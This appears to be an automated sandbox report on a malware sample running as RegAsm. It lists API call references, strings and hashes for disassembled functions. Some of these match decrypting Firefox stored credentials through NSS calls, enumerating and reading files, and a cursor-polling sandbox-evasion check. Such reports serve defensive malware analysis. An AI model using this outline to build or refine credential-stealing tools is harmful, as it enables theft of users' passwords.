LeaveCriticalSection.KERNEL32(6C17E7DC), ref: 6C11D712
LeaveCriticalSection.KERNEL32(6C17E784,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6C12D1C5), ref: 6C11D751
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C11D7EA

Strings

<jemalloc>, xrefs: 6C11D827
: (malloc) Error initializing arena, xrefs: 6C11D82C

Memory Dump Source

Source File: 00000003.00000002.2252137542.000000006C0F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C0F0000, based on PE: true

Associated: 00000003.00000002.2252119719.000000006C0F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2252893146.000000006C16D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2253065228.000000006C17E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2253109506.000000006C182000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c0f0000_RegAsm.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$K@1@Maybe@_RandomUint64@mozilla@@$CountInitializeSpin
String ID: : (malloc) Error initializing arena$<jemalloc>
API String ID: 2690322072-3894294050
Opcode ID: 1cd5a4d97db1c4c8198d4e40176c090281ec72803955990d0546c2ce3d3f5506
Instruction ID: ea552c10855e409c5b8efa936e18c3819e502caa3a5edf4909deaf5a54afccc7
Opcode Fuzzy Hash: 1cd5a4d97db1c4c8198d4e40176c090281ec72803955990d0546c2ce3d3f5506
Instruction Fuzzy Hash: F291D371A087118FD726DF28C09076AB7E1EF99318F15493EE55A87F80D738E845CB92

Function 0040A7D8 Relevance: 15.1, APIs: 10, Instructions: 94stringencryptionCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0040A815
lstrlenA.KERNEL32(?,00000001,?,?,00000000,00000000,00000000,00000000,00000014,?,0040AAE7), ref: 0040A830
CryptStringToBinaryA.CRYPT32(?,00000000,?,00000001,?,?,00000000), ref: 0040A838
PK11_GetInternalKeySlot.NSS3(?,00000000,?,00000001,?,?,00000000,00000000,00000000,00000000,00000014,?,0040AAE7), ref: 0040A846
PK11_Authenticate.NSS3(00000000,00000001,00000000,?,00000000,?,00000001,?,?,00000000,00000000,00000000,00000000,00000014,?,0040AAE7), ref: 0040A85A
PK11SDR_Decrypt.NSS3(?,?,00000000,?,00000000,00000000,00000000,00000000,00000014,?,0040AAE7), ref: 0040A89A
_memmove.LIBCMT ref: 0040A8BB
lstrcatA.KERNEL32(00436803,00436807,?,00000000,00000000,00000000,00000000,00000014,?,0040AAE7), ref: 0040A8E5
PK11_FreeSlot.NSS3(00000000,?,?,?,?,?,?,?,?,?,0040B824), ref: 0040A8EC
lstrcatA.KERNEL32(00436803,0043680E,?,00000000,?,00000001,?,?,00000000,00000000,00000000,00000000,00000014,?,0040AAE7), ref: 0040A8FB

Memory Dump Source

Source File: 00000003.00000002.2188739837.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2188739837.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: K11_$Slotlstrcat$AuthenticateBinaryCryptDecryptFreeInternalString_memmove_memsetlstrlen
String ID:
API String ID: 4058207798-0
Opcode ID: 1891bcd5c6fb706ee7a2ca6f14fce667d0a4f9531b2fb2bc43181c9868374e51
Instruction ID: 6840a1edee0a678d072f141c957fe9f8851952cd016cc76318dbee3efa29773a
Opcode Fuzzy Hash: 1891bcd5c6fb706ee7a2ca6f14fce667d0a4f9531b2fb2bc43181c9868374e51
Instruction Fuzzy Hash: 96316DB1D0421AAFDB10DB54DD849FAB7BCAF08345F5440BAF409E2240E7794E858F66

Function 0040CD37 Relevance: 14.3, APIs: 7, Strings: 1, Instructions: 298filestringCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 0040CD5C
FindFirstFileA.KERNEL32(?,?), ref: 0040CD73
StrCmpCA.SHLWAPI(?,004374EC), ref: 0040CD94
StrCmpCA.SHLWAPI(?,004374F0), ref: 0040CDAE

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,004171C5,004366CD,?,?,?,?,004186D9), ref: 0041050D

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,00417733,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 00410650

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,00417204,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 004105BD

lstrlenA.KERNEL32(0040D3B5,00436872,004374F4,?,0043686F), ref: 0040CE41

Part of subcall function 00410519: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,0041776B), ref: 00410538

Part of subcall function 00407FAC: CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,?,?,?,0040E756,?,?,?), ref: 00407FC7
Part of subcall function 00407FAC: GetFileSizeEx.KERNEL32(00000000,?,?,?,?,?,0040E756,?,?,?), ref: 00407FDE
Part of subcall function 00407FAC: LocalAlloc.KERNEL32(00000040,?,?,?,?,?,0040E756,?,?,?), ref: 00407FF5
Part of subcall function 00407FAC: ReadFile.KERNEL32(?,00000000,?,?,00000000,?,?,?,?,0040E756,?,?,?), ref: 0040800C
Part of subcall function 00407FAC: CloseHandle.KERNEL32(?,?,?,?,?,0040E756,?,?,?), ref: 00408034

Part of subcall function 00416FE1: CreateThread.KERNEL32(00000000,00000000,00416F10,?,00000000,00000000), ref: 00417080
Part of subcall function 00416FE1: WaitForSingleObject.KERNEL32(00000000,000003E8), ref: 00417088

FindNextFileA.KERNEL32(?,?), ref: 0040D23C
FindClose.KERNEL32(?), ref: 0040D250

Strings

%s\*.*, xrefs: 0040CD56

Memory Dump Source

Source File: 00000003.00000002.2188739837.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2188739837.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$Find$CloseCreatelstrcatlstrlen$AllocFirstHandleLocalNextObjectReadSingleSizeThreadWaitwsprintf
String ID: %s\*.*
API String ID: 833390005-1013718255
Opcode ID: 2a23031780d14b81995a46cfae8fffba31a8061c4f72f23e63b4613ff5d88b0a
Instruction ID: f4e6378bd0d3969c58ad41b7d73122550c7de77e7a7832b2d9eb470c3e8bd1bf
Opcode Fuzzy Hash: 2a23031780d14b81995a46cfae8fffba31a8061c4f72f23e63b4613ff5d88b0a
Instruction Fuzzy Hash: 8ED1CA71A4112DABDF20FB25DD46ADD77B5AF44308F4100E6B908B3152DA78AFCA8F94

Function 6C119E50 Relevance: 13.1, APIs: 6, Strings: 1, Instructions: 878COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C119EB8
LeaveCriticalSection.KERNEL32(?), ref: 6C119F24
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C119F34
LeaveCriticalSection.KERNEL32(?), ref: 6C11A823
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C11A83C
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C11A849

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C11A8B1, 6C11A8D4, 6C11A8EF

Memory Dump Source

Source File: 00000003.00000002.2252137542.000000006C0F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C0F0000, based on PE: true

Associated: 00000003.00000002.2252119719.000000006C0F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2252893146.000000006C16D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2253065228.000000006C17E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2253109506.000000006C182000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c0f0000_RegAsm.jbxd

Similarity

API ID: CriticalSection$K@1@LeaveMaybe@_RandomUint64@mozilla@@$Entermemset
String ID: MOZ_RELEASE_ASSERT(mNode)
API String ID: 2950001534-1351931279
Opcode ID: 2733776ffa781edf4251047151d48d39873a27ac0ace69120b76eea17183262a
Instruction ID: d846b3645569d168cf875b3e7fceb6e4f619d7f468267e80fc3bd311a6e029ca
Opcode Fuzzy Hash: 2733776ffa781edf4251047151d48d39873a27ac0ace69120b76eea17183262a
Instruction Fuzzy Hash: 04727C72A197118FD304CF28C550615FFE1BF99328F2AC66DE8699BB91D339E845CB80

Function 6C142C10 Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 228stringCOMMON

Download Yara Rule

APIs

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6C142C31
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6C142C61

Part of subcall function 6C0F4DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C0F4E5A
Part of subcall function 6C0F4DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C0F4E97

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C142C82
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C142E2D

Part of subcall function 6C1081B0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,00000000,?,ProfileBuffer parse error: %s,expected a ProfilerOverheadDuration entry after ProfilerOverheadTime), ref: 6C1081DE

Strings

ProfileBuffer parse error: %s, xrefs: 6C142E3B
(root), xrefs: 6C14354F
expected a Time entry, xrefs: 6C142E36

Memory Dump Source

Source File: 00000003.00000002.2252137542.000000006C0F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C0F0000, based on PE: true

Associated: 00000003.00000002.2252119719.000000006C0F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2252893146.000000006C16D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2253065228.000000006C17E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2253109506.000000006C182000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c0f0000_RegAsm.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Dtoa$Ascii@Builder@2@Builder@2@@Converter@CreateDecimalEcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestV12@__acrt_iob_func__stdio_common_vfprintfstrlen
String ID: (root)$ProfileBuffer parse error: %s$expected a Time entry
API String ID: 801438305-4149320968
Opcode ID: 1c6a8951fd50acf5938d867e599a8020749c36cf3f28b4a28d707e0f07237ea8
Instruction ID: c44ddffa5f16024878118c3e4f0e98bc530b599fb34493772c4390d0b33f95be
Opcode Fuzzy Hash: 1c6a8951fd50acf5938d867e599a8020749c36cf3f28b4a28d707e0f07237ea8
Instruction Fuzzy Hash: AA91D1706087808FC724CF24C49469FF7E1AFC9358F50892DE99A9B751DB30D98ACB52

Function 0040180D Relevance: 12.1, APIs: 8, Instructions: 68sleepthreadCOMMON

Download Yara Rule

APIs

OpenInputDesktop.USER32(00000000,00000001,80000000), ref: 00401823
SetThreadDesktop.USER32(00000000), ref: 0040182A
GetCursorPos.USER32(?), ref: 0040183A
Sleep.KERNEL32(000003E8), ref: 0040184A
GetCursorPos.USER32(?), ref: 00401859
Sleep.KERNEL32(00002710), ref: 0040186B
Sleep.KERNEL32(000003E8), ref: 00401870
GetCursorPos.USER32(?), ref: 0040187F

Memory Dump Source

Source File: 00000003.00000002.2188739837.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2188739837.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: CursorSleep$Desktop$InputOpenThread
String ID:
API String ID: 3283940658-0
Opcode ID: f5ba76f92f65e2804661e56e76115090119226def0e33c1286c40128a66e7fa7
Instruction ID: 6ce610161f310883e20b46de56f80fe1d7998de54b5bc585690095a2dc5f2f67
Opcode Fuzzy Hash: f5ba76f92f65e2804661e56e76115090119226def0e33c1286c40128a66e7fa7
Instruction Fuzzy Hash: C9112E32E00209EBEB10EBA4CD89AAF77B9AF44301F644877D501B21A0D7789B41CB58

Function 6C159E30 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 347COMMON

Download Yara Rule

APIs

__aullrem.LIBCMT ref: 6C159F3D
__aulldiv.LIBCMT ref: 6C159F77
__aullrem.LIBCMT ref: 6C159F8C
__aulldiv.LIBCMT ref: 6C15A023

Strings

NaN, xrefs: 6C159EAB
-Infinity, xrefs: 6C159E60, 6C159E7B

Memory Dump Source

Source File: 00000003.00000002.2252137542.000000006C0F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C0F0000, based on PE: true

Associated: 00000003.00000002.2252119719.000000006C0F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2252893146.000000006C16D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2253065228.000000006C17E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2253109506.000000006C182000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c0f0000_RegAsm.jbxd

Similarity

API ID: __aulldiv__aullrem
String ID: -Infinity$NaN
API String ID: 3839614884-2141177498
Opcode ID: 2f62faeb41f5401ca74820bc5b891d7bc21e27b0ee58da2e6cb179e5cbbb9f7a
Instruction ID: a67ecda7ba2be3c6d5df25e13e6c8e843ab2469e71f4818a08772adf566dfa87
Opcode Fuzzy Hash: 2f62faeb41f5401ca74820bc5b891d7bc21e27b0ee58da2e6cb179e5cbbb9f7a
Instruction Fuzzy Hash: F3C1D4B1F403188BDB14CFA8C8907AEB7B6FF85304F944529D425ABB80D775A945CBA1

Function 0040B93F Relevance: 10.8, APIs: 5, Strings: 1, Instructions: 319fileCOMMON

Download Yara Rule

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,004171C5,004366CD,?,?,?,?,004186D9), ref: 0041050D

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 00410650

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,00417204,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 004105BD

FindFirstFileA.KERNEL32(?,?,\*.*,00436826,?,?,?), ref: 0040B99B
StrCmpCA.SHLWAPI(?,0043743C), ref: 0040B9BC
StrCmpCA.SHLWAPI(?,00437440), ref: 0040B9D6

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,00417733,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Part of subcall function 00411C4A: GetSystemTime.KERNEL32(?,00436701,?), ref: 00411C79

Part of subcall function 00407FAC: CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,?,?,?,0040E756,?,?,?), ref: 00407FC7
Part of subcall function 00407FAC: GetFileSizeEx.KERNEL32(00000000,?,?,?,?,?,0040E756,?,?,?), ref: 00407FDE
Part of subcall function 00407FAC: LocalAlloc.KERNEL32(00000040,?,?,?,?,?,0040E756,?,?,?), ref: 00407FF5
Part of subcall function 00407FAC: ReadFile.KERNEL32(?,00000000,?,?,00000000,?,?,?,?,0040E756,?,?,?), ref: 0040800C
Part of subcall function 00407FAC: CloseHandle.KERNEL32(?,?,?,?,?,0040E756,?,?,?), ref: 00408034

Part of subcall function 00410519: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,0041776B), ref: 00410538

Part of subcall function 00416FE1: CreateThread.KERNEL32(00000000,00000000,00416F10,?,00000000,00000000), ref: 00417080
Part of subcall function 00416FE1: WaitForSingleObject.KERNEL32(00000000,000003E8), ref: 00417088

FindNextFileA.KERNEL32(?,?), ref: 0040BEF1
FindClose.KERNEL32(?), ref: 0040BF05

Strings

\*.*, xrefs: 0040B965

Memory Dump Source

Source File: 00000003.00000002.2188739837.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2188739837.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$Find$CloseCreatelstrcat$AllocFirstHandleLocalNextObjectReadSingleSizeSystemThreadTimeWaitlstrlen
String ID: \*.*
API String ID: 2390431556-1173974218
Opcode ID: c6baec8dede42bc500ec20ccae9a57344d5af887a2db2e42dfdfd69e2bc45522
Instruction ID: dfdd9054e8e3c8b0185b852c24648073469a4092a47d87fcffb0a1ee84dcde0c
Opcode Fuzzy Hash: c6baec8dede42bc500ec20ccae9a57344d5af887a2db2e42dfdfd69e2bc45522
Instruction Fuzzy Hash: 1BE1DB7194012D9BCF21FB26DD4AACDB375AF44309F4100E6A508771A1DB79AFC98F98

Function 6C0FD4E0 Relevance: 10.8, Strings: 8, Instructions: 805COMMON

Download Yara Rule

Strings

0, xrefs: 6C0FD852
9, xrefs: 6C0FDE7F
@, xrefs: 6C0FDAF6
-, xrefs: 6C0FD7DD
0, xrefs: 6C0FDC7F
, xrefs: 6C0FDA88
8, xrefs: 6C0FDC08
1, xrefs: 6C0FDBDD

Memory Dump Source

Source File: 00000003.00000002.2252137542.000000006C0F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C0F0000, based on PE: true

Associated: 00000003.00000002.2252119719.000000006C0F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2252893146.000000006C16D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2253065228.000000006C17E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2253109506.000000006C182000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c0f0000_RegAsm.jbxd

Similarity

API ID:
String ID: $-$0$0$1$8$9$@
API String ID: 0-3654031807
Opcode ID: cea914d00c5bef392b08457589c1a240ec8e62e52c1b0443e3cbe68430868ec9
Instruction ID: cc788f8fb2ec18ae09103a59277336187b38a0b5024be779b2cb71454cda9b06
Opcode Fuzzy Hash: cea914d00c5bef392b08457589c1a240ec8e62e52c1b0443e3cbe68430868ec9
Instruction Fuzzy Hash: CE62887160C3858FD702CF29C09075EBBE2AF86758F584A1DE8F54BA91D33599C6CB82

Function 0041C110 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 98timeCOMMON

Download Yara Rule

APIs

SetFilePointer.KERNEL32(00000000,00000000,00000000,00000001,74DE83C0,00000000,?,?,?,?,?,?,0041C6D9,?,00417071,?), ref: 0041C163
SetFilePointer.KERNEL32(?,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,0041C6D9,?,00417071), ref: 0041C193
GetLocalTime.KERNEL32(?,?,?,?,?,?,?,0041C6D9,?,00417071,?), ref: 0041C1BF
SystemTimeToFileTime.KERNEL32(?,?,?,?,?,?,?,?,0041C6D9,?,00417071,?), ref: 0041C1CD

Part of subcall function 0041BADB: GetFileInformationByHandle.KERNEL32(?,?,00000000,?,033B2528), ref: 0041BB0F

Strings

qpA, xrefs: 0041C120

Memory Dump Source

Source File: 00000003.00000002.2188739837.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2188739837.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: File$Time$Pointer$HandleInformationLocalSystem
String ID: qpA
API String ID: 3986731826-2224477061
Opcode ID: cc8f3633be1bc0562616318e8ec0b15a9c50c6176403fac9918fe8aa6248f859
Instruction ID: c9db4349de716c4cbd0faa701edc158b8a96926d87f100e2be00061f696c78d6
Opcode Fuzzy Hash: cc8f3633be1bc0562616318e8ec0b15a9c50c6176403fac9918fe8aa6248f859
Instruction Fuzzy Hash: 61415B718001499BCF14DF69DC80ADEBBF8FF48310F1442AAE855EA256D3749985CFA4

Function 0042B21C Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 54COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(?,2000000B,?,00000002,?,?,0042B885,?,00428636,?,000000BC,?), ref: 0042B25B
GetLocaleInfoW.KERNEL32(?,20001004,?,00000002,?,?,0042B885,?,00428636,?,000000BC,?), ref: 0042B284
GetACP.KERNEL32(?,?,0042B885,?,00428636,?,000000BC,?), ref: 0042B298

Strings

OCP, xrefs: 0042B23C
ACP, xrefs: 0042B22B

Memory Dump Source

Source File: 00000003.00000002.2188739837.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2188739837.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: InfoLocale
String ID: ACP$OCP
API String ID: 2299586839-711371036
Opcode ID: 8b8a273a3930ebee4ddd036cd7ad8f79dfc837e8178998fce77fef38d8bc2632
Instruction ID: eecd836cae40292c1918a71e94cade317c99e281db5237fc6b012dd2e3373739
Opcode Fuzzy Hash: 8b8a273a3930ebee4ddd036cd7ad8f79dfc837e8178998fce77fef38d8bc2632
Instruction Fuzzy Hash: 9E01D871705716FAEB219B60BC4AF5F33A8DB05358F60409AF501E0194E768CE8196AC

Function 00408048 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 42encryptionmemoryCOMMON

Download Yara Rule

APIs

CryptStringToBinaryA.CRYPT32($g@,00000000,00000001,00000000,?,00000000,00000000), ref: 00408060
LocalAlloc.KERNEL32(00000040,?,?,?,00406724,?), ref: 0040806E
CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,?,00000000,00000000), ref: 00408084
LocalFree.KERNEL32(?,?,?,00406724,?), ref: 00408093

Strings

$g@, xrefs: 00408056

Memory Dump Source

Source File: 00000003.00000002.2188739837.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2188739837.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: BinaryCryptLocalString$AllocFree
String ID: $g@
API String ID: 4291131564-2623900638
Opcode ID: f5a436fcc5773d8d5ed11b28535eb6837d4cdf9298db33a455cb593baf526e2b
Instruction ID: e9494377cad346e2cb6e0c3413faafdb083af89deffb74abb579b147fff80950
Opcode Fuzzy Hash: f5a436fcc5773d8d5ed11b28535eb6837d4cdf9298db33a455cb593baf526e2b
Instruction Fuzzy Hash: 7EF03C70101334BBDF315F26DC4CE8B7FA9EF06BA1F100456F949E6250E7724A40DAA1

Function 0041D160 Relevance: 7.6, APIs: 5, Instructions: 58COMMONLIBRARYCODE

